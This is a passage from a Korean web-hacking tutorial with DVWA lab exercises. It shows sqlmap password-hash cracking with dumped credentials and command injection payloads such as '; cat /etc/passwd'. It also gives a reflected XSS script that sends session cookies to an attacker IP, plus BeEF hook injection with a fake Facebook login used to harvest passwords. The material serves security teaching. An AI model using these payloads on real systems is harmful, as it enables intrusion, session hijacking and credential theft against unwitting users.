이 질문은 나중에 다른 프로그램을 이용하여 패스워드 크래킹을 진행할 수 있도록 패스워드 해시를 임시파일로 저장할 것인지 묻는 질문입니다. sqlmap에는 자체적으로 패스워드 크래킹을 수행하는 기능이 내장되어 있습니다. 내중된 기능을 사용할 경우 기본값인 N을 선택하면 됩니다.

do you want to crack them via a dictionart-based attack [Y/n/q]

이 질문은 딕셔너리 공격을 이용하여 패스워트 해시를 크래킹할 것인지 묻는 질문입니다. 딕셔너리 공격은 패스워드 목록으로 구성된 파일을 이용해서 패스워드를 알아내는 것입니다. 브루트 포스 공격 섹션에서 배웠던 것과 동일한 개념입니다. 차이가 있다면 브루트 포스 공격의 경우 로그인 페이지를 대상으로 요청을 전송하여 공격을 수행하는 것이고, sqlmap에서는 데이터베이스에서 획득한 패스워드 해시를 직접 패스워드로 크래킹하는 데 딕셔너리 공격이 사용된다는 점입니다.

what dictionary do you want to use?
어떤 사전 파일을 사용할 것인지 묻는 질문입니다.
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
sqlmap에 내장된 사전 파일을 사용하게 됩니다.
[2] custom dictionart file
칼리 리눅스의 사전 파일이나 다른 파일을 사용할 경우 선택
[3] file with list of dictionary files
복수의 사전 파일을 사용하는데 선택

기본값은 [1] 입니다.

do you want to crack them via a dictionart-based attack [Y/n/q]

마지막으로 공통 패스워드 접미사를 사용할 것인지 묻는 질문인데, 공통 패스워드 접미사 기법은 공통된 문자열을 기본으로 하고 몇 가지 다른 문자를 추가하여 패스워드를 만드는 기법입니다.

많은 웹 사용자들이 여러 개의 웹사이트 패스워드를 생성할 때 동일한 패스워드를 사용합니다. 그런데 이 경우 한 웹사이트에서 개인정보가 유출되는 해킹 사건을 당하게 되면 다른 웹사이트까지 위험해집니다. 뉴스에서 관련 전문가가 이와 같은 해킹 사건이 발생한 후 다른 사이트의 패스워드를 변경하라고 안내하는 것을 본적이 있을 것입니다. 따라서 웹사이트마다 패스워드를 다르게 생성하는 것이 보안을 위해서는 좋은 방법인데, 문제는 일일이 다르게 생성한 패스워드들을 기억할 수가 없다는 것입니다. 그렇다고 어딘가에 적어두자니 역시 찜찜합니다. 어떤 사람은 포스트잇 같은 데다 패스워드를 써놓고 모니터에 붙여둔 것도 본 적이 있습니다.

이러한 문제를 해결하기 위한 방법으로 공통 패스워드 접미사 기법을 사용할 수 있습니다. 기본이 되는 공통 패스워드를 만들어두고 거기에다 일정한 규칙을 정해서 웹사이트마다 패스워드가 달라지도록 만드는 것입니다. 예를 들어, 공통 패스워드 앞에 웹사이트 주소 앞의 철자를 따서, 만일 네이버(naver)라고 하면, "n[공통 패스워드]]"로 만들고, 다음(daum)의 경우 "d[공통 패스워드]"로 만드는 것입니다. 이렇게 하면 쉽게 기억하면서도 웹사이트마다 패스워드가 다르도록 만들 수 있습니다. 이 방법을 사용하면 완전히 동일한 패스워드를 사용하는 것보다 좀 더 안전하게 패스워드를 관리할 수 있지만, 그렇다고 완전히 안전한 것은 아닙니다. sqlmap 프로그램의 질문처럼 이 기법을 패스워드 크래킹에서도 사용할 수 있기 때문입니다. 다만 패스워드를 새로 조합하여 생성하는 등 크래킹 시간이 더 많이 걸리게 됩니다.

기본값인 N을 선택하여 계속 진행합니다.

root@kali:~# sqlmap -u "http://192.168.75.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=a74889e8d0ee935ca3f12abee25197b1" -D dvwa -T users --dump

... 생략 ...

[10:26:42] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:26:42] [WARNING] multiprocessing hash cracking is currently not supported on this platform
[10:26:48] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'       
[10:26:53] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'      
[10:27:06] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'      
[10:27:13] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'     
Database: dvwa                                                                                
Table: users
[5 entries]
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 2017-12-09 08:18:07 | 0            |
| 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2017-12-09 08:18:07 | 0            |
| 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2017-12-09 08:18:07 | 0            |
| 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2017-12-09 08:18:07 | 0            |
| 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2017-12-09 08:18:07 | 0            |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+

[10:27:13] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.75.131/dump/dvwa/users.csv'
[10:27:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.75.131'

[*] shutting down at 10:27:13

프로그램 실행이 종료되고 users 테이블 내의 모든 정보가 출력됩니다. 사용자 ID와 패스워드 해시, 그리고 크래킹까지 된 패스워드와 같이 중요한 사용자 정보들이 출력되었습니다.

이런 과정을 반복하면 데이터베이스의 모든 정보를 가져올 수 있습니다. SQL 인젝션 취약점이 무서운 것은, 이와 같이 사이트 내에 단 한 개의 파라미터만 SQL 인젝션 공격에 취약하면 뉴스의 해킹 사건들처럼 수십만, 수백만 건의 개인정보가 간단히 털릴 수 있기 때문 입니다.

커맨드 인젝션 공격

커맨드 인젝션 공격은 SQL 인젝션 공격과 더불어 인젝션 리스크와 관련된 주요 공격 기법입니다. 커맨드 인젝션 공격의 결과로 호스트 내부의 명령어를 실행할 수 있기 때문에 심각한 영향을 초래할 수 있습니다.

커맨드 인젝션 공격 개요

커맨드 인젝션(command injection)은 명령어를 삽입한다는 뜻으로, 웹 요청 메시지에 임의의 시스템 명령어를 삽입하고 전송하여 웹 서버에서 해당 명령어를 실행하도록 하는 공격입니다.

어떤 웹 애플리케이션이 내부에서 시스템 명령어를 실행하는 상황에서, 만약 사용자가 입력한 값을 적절한 입력값 검증 없이 시스템 명령어의 일부분으로 전달하면 공격자는 이 값을 조작하여 임의의 시스템 명령어를 실행할 수 있습니다.

DVWA의 커맨드 인젝션 고격 실습 페이지의 예를 들겠습니다.

그림 4-2-1IP 주소 입력 후 ping 결과 반환

이 그림은 사용자가 IP 주소를 입력하면 웹 서버에서 ping 명령어를 실행하고 그 결과를 알려주는 웹 페이지를 접속하는 상황을 보여줍니다. ping 명령은 입력된 IP 주소의 시스템이 현재 동작하고 있는지 확인할 때 사용하는 명령입니다.

그림 4-2-2세미콜론을 이용한 추가 명령 실행

이때 공격자는 IP 주소의 뒤에 ;(세미콜론)을 입력하고 다른 시스템 명령어를 추가 합니다.. ;는 리눅스에서 복수의 명령어를 실행하고자 할 때 사용하는 특수문자이고, cat /etc/passwd 명령어는 리눅스의 사용자 목록을 확인할 때 사용하는 명령어 입니다. 따라서 공격자가 시도하는 것은 ping 명령어와 cat 명령어를 동시에 실행하는 것입니다.

실습 중에는 공격이 가능하다는 것을 보여주기 위해 /etc/passwd 파일을 읽거나, cat /etc/passwd 와 같은 명령어를 실행하는 경우가 많습니다. 이것은 단지 이 파일의 내용만 읽을 수 있다는 것을 의미하는 것이 아니라, 하나의 예시로서 해당 공격이 가능한 상황에서는 동일한 방법으로 다른 파일을 읽거나 다른 명령어를 실행할 수 있다는 것을 의미합니다. /etc/passwd 파일은 리눅스의 사용자 목록이 들어있는 파일로, 공격에 의해 노출될 수 있음을 보여주는 대표적인 파일입니다. 공격자가 /etc/passwd 파일을 읽을 수 있는 상황이면, 사용자 권한에 따라 다른 파일들도 읽을 수 있다는 의미를 내포하고 있습니다. (특정 파일의 경우에는 root 권한이 필요합니다.) 마찬가지로 cat /etc/passwd 와 같이 cat 명령이 실행될 수 있다는 것은, 다른 시스템 명령어도 공격자가 사용할 수 있다는 것을 의미합니다.

만일 웹 애플리케이션이 공격자가 입력한 값이 IP 주소 형식에 적합한지 제대로 검사하지 않는다면, 원래 실행되어야 할 ping 명령어뿐만 아니라 공격자가 추가한 cat 명령어까지 실행하여 /etc/passwd 파일의 내용, 즉 사용자 정보고 공격자에게 모두 전달됩니다.

커맨드 인젝션 공격 실습

실습목표

리눅스에서 커맨드를 추가 입력할 수 있는 방법을 알아보고, 웹 페이지의 폼을 통해 명령어를 입력할 수 있는 커맨드 인젝션 공격을 실습해 봅니다.

그림 4-3-1DVWA 커맨드 인젝션 실습 페이지

이 실습 페이지는 그림 4-2-1에서 봤듯이 IP 주소를 입력하면 해당 IP 주소로 ping 명령어를 실행한 후 그 결과를 출력해주는 페이지입니다. 일단 로컬 IP인 127.0.0.1을 입력하고 실행해보겠습니다. 다음과 같이 ping 명령어를 실행한 결과가 출력됩니다.

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.013 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.020 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.015 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.013/0.018/0.026/0.006 ms

소스 코드를 통해 어떻게 동작하는지 자세히 알아보겠습니다.

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];    -------------------- ①
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
    // If all 4 octets are int's put the IP back together.
    $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );    -------------------- ②
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

리눅스의 경우 ②의 shell_exec() 함수가 호출됩니다. 이 함수는 시스템 명령어를 내리는 함수입니다. ②에서 명령어가 구성되는 것을 보면 ping -c 4 뒤에 $target 변수가 오는데, 이 target 변수는 ①에서 보듯 $_REQUEST['ip']의 값입니다. 이 값은 웹 요청 메시지로부터 전달된 ip파라미터의 값입니다. 따라서 127.0.0.1을 ip 파라미터를 통해 입력하면, ping -c 127.0.0.1와 같이 실행되게 됩니다. -c 옵션은 ping을 보내는 횟수를 의마하며 4로 설정되어 있으므로 네번 ping을 하고 명령어가 종료됩니다. -c 옵션이 없다면 리눅스에서는 ping을 횟수 제한 없이 실행하기 때문에 응답되지 않게 되어, -c 옵션을 설정한 것입니다.

여기서, 앞에서 언급한 것처럼 리눅스에서는 ; 특수문자를 이용하여 뒤에 다른 명령어를 실행할 수 있습니다. 예를 들어, ping -c 127.0.0.1; ls를 실행하면 ping 명령어가 실행된 후에 ls 명령어까지 실행되어 그 결과인 디렉터리의 내용이 출력됩니다.

터미널 윈도우를 하나 열어서 결과를 확인해 볼 수 있습니다.

그림 4-3-2; 를 입력하여 ls 명령을 추가로 실행한다.

이제 우리는 뒤에 어떤 명령어를 내릴지에 관심을 가지면 됩니다. ping 명령어 인자는 IP 주소는 어떤 값이 되더라도 상관없으며, 아예 IP 주소를 입력하지 않고 ; 만 추가하여 ;ls 와 같이 입력하는 것도 가능합니다.

그림 4-3-3앞의 명령이 실패하더라도 뒤에 추가한 ls 명령은 여전히 실행된다.

이때 ping 명령은 IP 주소가 입력되지 않아서 실패했지만, 뒤에 추가된 ls 명령어는 실행된 것을 알 수 있습니다. 따라서 ;을 입력하기만 하면 원래 명령어 ping과는 상관없이 마음대로 다른 명령어를 실행할 수 있게 됩니다.

다시 DVWA로 돌아와서 계속 실습을 진행해 보겠습니다. IP 주소 입력란에 다음과 같이 입력합니다.

; ls

그림 4-3-4DVWA에서의 ls 명령 실행

ping 명령어의 결과가 표시되는 것이 아니라 디렉터리의 내용이 표시되었습니다. 그림 4-3-3에서처럼 ping 명령어는 에러가 발생하기 때문에 화면으로 출력되지 않았지만 ls 결과는 출력되었습니다.

이번에는 다음과 같이 ; 뒤에 /etc/passwd 파일의 내용을 확인하는 명령어를 입력하여 호스트의 사용자 목록을 출력해 보겠습니다.

; cat /etc/passwd

그림 4-3-5/etc/passwd 파일의 내용 출력

이와 같이, ; 뒤에 명령어를 추가함으로써 원격 호스트를 대상으로 시스템 명령어를 자쥬자재로 실행할 수 있습니다. 이것이 기본적인 커맨드 인젝션 공격 방법입니다.

추가로 ;id 를 입력해보면 현재 명령어가 실행되는 사용자를 알 수 있습니다.

그림 4-3-6웹 애플리케이션을 실행하는 사용자 권한 확인

DVWA 웹 애플리케이션이 www-data 사용자 권한으로 실행되고 있다는 의미입니다. 그런데 이 사용자 권한으로는 관리자(루트) 권한이 필요한 명령은 사용할 수가 없습니다.

간혹 어떤 시스템 운영자의 경우 실수이든 의도적이든 웹 애플리케이션을 루트(root) 사용자 권한으로 실행하는 경우가 있는데, 보안 관점에서 보면 아주 심각한 위험을 초래할 수 있습니다. 만일 해당 웹 애플리케이션에서 커맨드 인젝션 공격이 가능하게 되면, 이때 공격자는 루트 권한으로 모든 명령어를 실행할 수 있게 되어 시스템을 완전히 장악할 수 있습니다.

따라서 일반 사용자 권한으로 웹 애플리케이션을 실행하는 것은 필수이지만, 그렇다고 완전히 안전한 것은 아닙니다. 숙련된 공격자의 경우, 공격을 통해 획득한 사용자 권한이 그림 4-3-6과 같은 일반 사용자 권한이라면 웹 보안 - 해킹 단계 섹션에서 설명한 것처럼 추가로 루트 권한을 획득하고자 "권한 상승(priviliege escalation)" 공격을 시도하게 됩니다.

크로스 사이트 스크립팅 공격

크로스 사이트 스크립팅 공격은 공격자가 악의적인 스크립트 코드를 웹 애플리케이션에 삽입한 후 웹 사용자의 웹 브라우저에서 해당 코드가 실행되도록 만드는 공격입니다. 이 공격 방식은 다른 웹 공격들과는 차이가 있는데, 다른 공격들은 취약점을 가지고 있는 서버 쪽을 공격하지만 크로스 사이트 스크립팅 공격은 서버의 취약점을 이용하여 클라이언트 쪽을 공격한다는 점입니다. 크로스 사이트 스크립팅 공격의 주요 사례 중 하나는 세션 쿠키를 탈튀하는 것인데, 이 역시 클라이언트의 웹 브라우저에 있는 세션 쿠키를 자바스크립트를 이용하여 읽어서 알아내는 것입니다.

크로스 사이트 스크립팅 공격이 자바스크립트를 이용하여 공격을 수행하는 특징 때문에 공격자는 공격에 사용하는 자바스크립트 코드에 따라서 다양한 형태의 공격을 시도할 수 있습니다. 그 결과 실제 취약점을 가지고 있는 웹 서버와는 전혀 상관 없는 웹사이트(예. SNS 웹사이트)의 정보까지도 공격자가 노릴 수 있게 되는데 이와 관련된 내용은 BeFF 공격 프레임워크 섹션을 참고하기 바랍니다.

참고크로스 사이트 스크립팅 공격은 공격에 사용된 자바스크립트에 따라서 그 결과가 다양하게 나타날 수 있습니다. 자바스크립트에 대한 지식이 있으면 크로스 사이트 스크립팅 공격을 이해하는데 도움이 됩니다.

크로스 사이트 스크립팅 공격은 공격자가 삽입한 스크립트 코드가 언제 실행되는지에 따라 크게 리플렉티드(reflected) 크로스 사이트 스크립팅 공격과 스토어드(stored) 크로스 사이트 스크립팅 공격으로 구분할 수 있습니다. 그 밖에 DOM 기반의 XSS 공격도 있습니다.

리플렉티드 크로스 사이트 스크립팅(Reflected XSS) 공격 개요

이런 경우를 한번 생각해 봅시다. 어떤 웹 애플리케이션이 사용자가 안녕이라고 입력하면 웹 페이지에 안녕이라고 입력한 그대로 출력하는 경우입니다. 이때 적절한 입력값 검증이나 대응 방안이 마련되어 있지 않다면, 사용자가 <script>와 같은 스크립트 태그를 포함한 자바스크립트 코드를 입력했을 때 입력된 스크립트가 그대로 웹 페이지에 다시 출력될 것입니다. 한편 웹 브라우저는 사용자에 의해 입력된 자바스크립트와 원래 웹 애플리케이션 개발자가 의도한 자바스크립트를 구별할 수 없기 때문에, 해당 자바스크립트를 실행하게 됩니다.

리플렉티드 크로스 사이트 스크립팅 취약점은 위에서 설명한 것처럼, 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 취약점입니다. 입력된 스크립트가 마치 반사되는 것처럼 동작하기 때문에 붙은 이름입니다.

리플렉티드 크로스 사이트 스크립팅 취약점이 있으면 일반적으로 공격자는 게시판에 글을 남기거나 이메일 피싱을 이용하여 악의적인 스크립트 코드가 담긴 요청을 사용자가 실행하도록 만듭니다. 이메일 피싱을 이용한 공격 과정은 다음과 같습니다.

그림 5-2-1리플렉티드 크로스 사이트 스크립팅 공격 예시

  1. 먼저 공격자가 공격 대상으로 삼은 사용자에게 이메일 등을 이용하여 피싱을 한다. 이메일뿐만 아니라 포털 사이트의 게시판, SNS 등 공격자가 링크를 남길 수 있는 곳이면 어디든 피싱에 이용할 수 있다. 피싱을 할 때, 세션 쿠키를 탈취하려는 스크립트코드(대부분 자바스크립트)를 삽입한 HTTP 요청 링크를 포함시킨다.
  2. 사용자가 이 링크를 클릭하게 되면 스크립트 코드가 삽입된 요청이 웹사이트로 전송된다.
  3. 이때 리플렉티드 크로스 사이트 스크립팅 취약점이 있는 웹사이트는 입력된 스크립트를 반사하여 그대로 웹 페이지에 출력한다.
  4. 웹 페이지를 읽는 웹 브라우저는 자동으로 스크립트를 실행하에 되고, 그 결과 세션 쿠키를 공격자에게 전달한다.
  5. 공격자가 이 세션 쿠키를 사용하면 그 사용자의 권한으로 접속할 수 있게 된다.

리플렉티드 크로스 사이트 스크립팅(Reflected XSS) 공격 실습

실습목표

실습 페이지의 폼에 자바스크립트를 입력하여 사용자의 쿠키 정보를 원격에 있는 웹 서버로 전달하여 획득해 봅니다.

그림 5-3-1리플렉티드 크로스 사이트 스크립팅 실습 페이지

실습 페이지에는 이름을 물어보는 폼이 표시됩니다. 입력란에 이름을 입력하면 다음과 같이 Hello라고 인사를 합니다.

그림 5-3-2입력한 값이 그대로 반사되어 출력된다.

이때 Hello 뒤에 이름으로 입력한 값이 그대로 다시 출력된 것을 주목합니다. 이와 같이 어떤 웹 애플리케이션이 사용자가 입력한 값을 그대로 출력하는 경우 리플렉티드 크로스 사이트 스크립팅 취약점이 존재할 가능성이 높습니다. 추가로 츠로스 사이팅 스크립팅이 존재하는지 확인하기 위해 가장 간단히 사용할 수 있는 방법은 입력란에 스크립트 태그를 입력해보는 것입니다. 다음과 같이 간단한 스크립트를 입력해 봅니다.

<script>alert(1)</script>

그림 5-3-3입력한 스크립트가 실행된다.

alert() 자바스크립트 함수에 의해 1이란 값이 출력되었습니다. 입력한 자바스크립트가 웹 브라우저에서 실행된 것입니다. 이와 같이 사용자가 스크립트를 입력할 수 있고, 입력된 스크립트가 응답되어 실행될 때 리플렉티드 크로스 사이트 스크립팅 취약점이 존재합니다.

이번엔 다음과 같이 쿠키를 출력하는 자바스크립트를 입력해 보겠습니다.

<script>alert(document.cookie)</script>

그림 5-3-3쿠키가 출력된다.

document.cookie 코드로 인해 쿠키의 값이 출력됩니다. 그림에 표시된 쿠키 중에서 PHPSESSID 라는 쿠키는 PHP에서 생생하는 세션 쿠키 입니다. 크로스 사이트 스크립팅 공격은 주로 세션 쿠키를 알아내는 데 초점을 맞춥니다.

방금 마친 실습은 세션 쿠키를 단순히 화면에 표시했지만, 이번에는 세션 쿠키를 공격자의 호스트로 전달해 보겠습니다.

칼리 리눅스를 공격자의 호스트라고 가정하겠습니다. 세션 쿠키를 공격자 호스트의 웹 서버를 통해 전달받을 것이기 때문에 칼리 리눅스에서 웹 서버를 시작합니다. 칼리 리눅스 터미널에서 다음과 같이 명령어를 실행하여 웹 서버를 시작할 수 있습니다.

service apache2 start

ip addr 또는 ifconfig 명령어를 이용하여 칼리 리눅스의 IP 주소를 확인해 둡니다.

그림 5-3-4IP 주소를 확인한다.

eth1 인터페이스에 할당되어 있는 192.168.75.130이 실습에서 사용할 IP 주소 입니다.

웹 서버가 제대로 실행되었는지 확인하기 위해 웹 브라우저를 실행하고 칼리 리눅스의 IP 주소를 입력하여 다음과 같은 화면이 표시되는지 확인합니다.

그림 5-3-5칼리 리눅스에서 웹 서버를 실행한다.

그림 5-3-5과 같이 웹 페이지가 제대로 표시되면 웹 서버가 잘 실행되고 있는 것입니다. 다음으로 실습 중 로그 파일을 모니터링하기 위해, 터미널에서 다음 명령어를 실행합니다.

tail -f /var/log/apache2/access.log

access.log 파일은 접근 로그를 기록하는 파일입니다. 웹 서버로 들어온 요청 정보가 기록됩니다.

그림 5-3-6access.log 파일 모니터링

tail 명령어는 파일의 내용이 갱신되면 새로 추가된 내용을 바로 출력해주는 명령어입니다. 모니터링을 할때 유용하게 사용할 수 있습니다.

이제 DVWA 실습 페이지의 입력란에 다음 스크립트를 입력해 봅니다.

<script>document.location='http://192.168.75.130/cookie?'+document.cookie</script>

이 스크립트는 document.location을 이용하여 지정한 위치로 리다이렉트시키는 스크립트입니다. 따라서 이 스크립트가 실행되면 웹 브라우저는 공격자의 호스트로 접속하게 되는 것입니다.

요청을 전송하면 웹 브라우저에서 공격자 호스트의 주소로 리다이렉트된 후 에러가 발생할 텐데, 그 에러는 리다이렉트된 cookie라는 URL이 공격자의 호스트에 존재 하지 않기 때문에 발생한 것으로, 이 실습에서는 무시해도 상관없는 에러 입니다. 실제 상황에서 공격자는 보다 정교한 자바스크립트를 이용하여 사용자가 눈치채지 못하도록 그럴듯한 웹 페이지를 생성하게 될 것입니다. 이 실습에서 중요한 것은 접근 로그입니다. 앞에서 모니터링하고 있던 접근 로그를 보면 새로운 내용이 기록된 것을 알 수 있습니다.

그림 5-3-7접근 로그에 쿠키 정보가 표시된다.

새롭게 기록된 로그중에 GET /cookie? 문자열 이후 나오는 내용이 document.cookie에 출력된 쿠키 정보입니다. 크로스 사이트 스크립팅을 통해 PHPSESSID 세션 쿠키를 탈취한 것입니다.

그런데 한 가지 의문이 듭니다. 지금 실습에서 본인이 직접 자바스크립트를 실습 페이지에 입력했는데 이상하게 생각되지 않나요? 정상적인 사용자라면 이런 위험한 스크립트 코드를 자신이 직접 입력하지는 않을 텐데 말입니다. 맞습니다. 바로 그 이유 때문에, 공격자는 피싱을 이용해서 사용자가 자기도 모르게 요청을 전달하도록 만들어야 합니다. 요점을 말하면 공격자가 이메일, 게시판, SNS, 문자 메시지 등 여러 가지 메체를 이용하여 해당 크로스 사이트 스크립팅 취약점이 있는 URL의 링크를 다른 사용자로 하여금 클릭하도록 만드는 것입니다.

이러한 링크는 버프 스위트의 프록시 히스토리를 이용하여 쉽게 확인할 수 있습니다.

그림 5-3-8리플렉티드 크로스 사이트 스크립팅 공격 시 요청 메시지

그림 5-3-8은 쿠키를 공격자 호스트로 보내는 스크립트를 입력했을 때 전송된 요청 메시지입니다. 이 메시지를 참고하여 피싱에 사용할 링크를 만들 수 있습니다. 참고로 요청 메시지의 내용 중 name 파라미터의 값이 <script>가 아니라 %3Cscript%E와 같이 전송된 이유는 웹 브라우저에서는 일부 특수문자를 URL 인코딩으로 자동 변환하기 때문입니다.

BeEF 공격 프레임워크

크로스 사이트 스크립팅 취약점이 존재하면, 공격자는 세션 탈취 이외에도 다양한 공격을 수행할 수 있는데, 일례로 비프(BeEF)라고 하는 프로그램을 사용할 수 있습니다. 비프 프로그램은 브라우저 익스플로잇 프레임워크 프로그램으로, 자체적으로 제공하는 자바스크립트로 된 후킹 코드를 사용자가 실행하면 그 사용자의 호스트를 대상으로 여러 가지 공격을 실행할 수 있도록 하는 프로그램입니다.

이 섹션에서는 리플렉티드 크로스 사이트 스크립팅 취약점으로 후킹 코드를 실행시켜 비프 프로그램으로 추가 공격하는 실습을 해보겠습니다.

실습목표

크로스 사이트 스크립팅 공격과 BeEF 프레임워크를 이용하여 제3 사이트의 계정 정보를 획득해 봅니다.

비프 프로그램은 칼리 리눅스 화면 왼쪽의 즐겨찾기 메뉴나, 상단 프로그램 메뉴 중 08 - Exploitation Tools(익스플로잇 툴) 메뉴 아래에 있는 소 모양의 아이콘(beef xss framework)을 눌러 실행할 수 있습니다.

그림 5-4-1BeEF 프로그램 아이콘

비프 프로그램을 실행하면 터미널에 다음과 같은 메시지가 출력됩니다. 칼리 리눅스를 설치한 후 처음으로 비프를 실행해야 하는 경우 두 번 실행해야 할 수도 있습니다.

그림 5-4-2BeEF 실행 시 표시되는 메시지

이 메시지에서는 비프 프로그램 관리 인터페이스로 접속할 수 있는 URL 후크(hook) 스크립트를 알려줍니다. 후크 스크립트를 크로스 사이트 스크립팅 취약점 공격 시 삽입하면 됩니다.

그 전에 우선 비프의 인터페이스 화면을 살펴보겠습니다. 터미널에서 그림 5-4-2와 같은 메시지가 출력되고 나면, 웹 브라우저가 자동으로 실행되고 웹 브라우저에 다음과 같이 관리 인터페이스 화면이 표시될 것입니다.

그림 5-4-3BeEF 초기 화면

로그인을 위한 기본 사용자 계정 정보는 beef/beef입니다. 이 정보를 이용하여 접속해 봅니다.

그림 5-4-4BeEF 인터페이스

화면의 왼쪽 부분에는 온라인 브라우저(Online Browsers) 폴더와 오프라인 브라우저(Off line Browsers) 폴더가 표시됩니다. 처음에는 폴더 아래에 아무 항목도 표시되지 않지만, 후크 스크립트가 실행된 웹 브라우저가 있으면 온라인 브라우저에 표시 됩니다.

이제 처음 비프 프로그램이 실행될 때 확인한 후크 스크립트를 DVWA 리플렉티드 크로스 사이트 스크립팅 실습 페이지의 입력란에 입력합니다. 실습의 편의를 위해 직접 스크립트를 입력했지만, 앞서 말했듯이 실제 공격 상황에서는 피싱을 이용하여 스크립트가 입력된 링크를 사용자가 누르게 됩니다.

<script src="http://127.0.0.1:3000/hook.js"></script>

그림 5-4-5후크 스크립트 삽입

Submit 버튼을 누르고 나면 비프 인터페이스의 온라인 브라우저 폴더 아래에 항목이 하나 추가되었습니다.

그림 5-4-6후크 스크립트를 실행한 호스트가 표시된다.

후크 스크립트를 실행한 호스트가 표시된 것입니다. 이 호스트를 선택해보면, 화면 오른쪽 부분의 Details 탭 아래에 다음과 같이 호스트가 각종 정보가 출력됩니다.

그림 5-4-7공격을 당한 호스트의 정보를 확인할 수 있다.

쿠키는 물론이고, 어디서 후킹되었는지와 같은 페이지 정보와 각종 호스트 정보를 확인할 수 있습니다.

커맨드(Commands) 탭에서는 해당 호스트에 대해 추가로 공격을 수행할 수 있습니다. 여러 가지 공격 모듈이 제공되는데, 소셜 엔지니어링 폴더 아래에 있는 프리티 쎄프트(Pretty Theft)라는 기능에 대해서 실습해 보겠습니다.

그림 5-4-8Pretty Theft 공격 기능

이 기능은 유명 SNS 사이트의 인터페이스를 모방하여, 사용자로 하여금 그 SNS 사이트의 아이디와 패스워드를 입력하도록 유도하는 기능입니다.

기본 다이얼로그 타입(Dialog Type)으로 페이스북이 설정되어 있고, 구글, 링크드인 등 여러 가지 타입이 제공됩니다. 기본값인 페이스북으로 설정한 채고, 우측 하단의 Execute 버튼을 눌러 기능을 실행해 보겠습니다.

그림 5-4-9가짜 페이스북 인터페이스 표시

이제 후킹 코드를 실행한 DVWA 화면을 보면, 그림 5-4-9와 같이 팝업창이 하나 생성됩니다. 경우에 따라 팝업창이 나타날 때까지 수초 정도 딜레이가 있을 수도 있습니다. 팝업창에는 페이스북을 오랫동안 사용하지 않아서 세션이 종료되었다는 메시지가 표시됩니다. 얼핏 보면 진짜 페이스북 인터페이스가 실행된 것 같습니다. 물론 주의깊은 사람이라면 무언가 이상한 낌새를 알아차릴지도 모릅니다. 그러나 만약 본인이 실제로 페이스북을 웹 브라우저의 다른 탭에 띄어 놓은 후 오랜시간 동안 놔두었다면, 별다른 의심 없이 다시 로그인하고자 이메일과 패스워드를 입력 할지도 모릅니다.

이메일과 패스워드를 입력하고 Log in 버튼을 누르게 되면, 입력한 값이 비프 프로그램을 통해 노출됩니다.

그림 5-4-10입력한 계정 정보가 비프 프로그램에 표시된다.

이 밖에도 비프 프로그램은 다양한 공격 기능을 제공합니다. 중요한 것은, 단순한 크로스 사이트 스크립팅 취약점으로도 이와 같은 공격 프로그램과 각종 악성 스크립트에 의해 다양한 공격을 당할 수 있다는 사실입니다.

스토어드 크로스 사이트 스크립팅(Stored XSS) 공격 개요

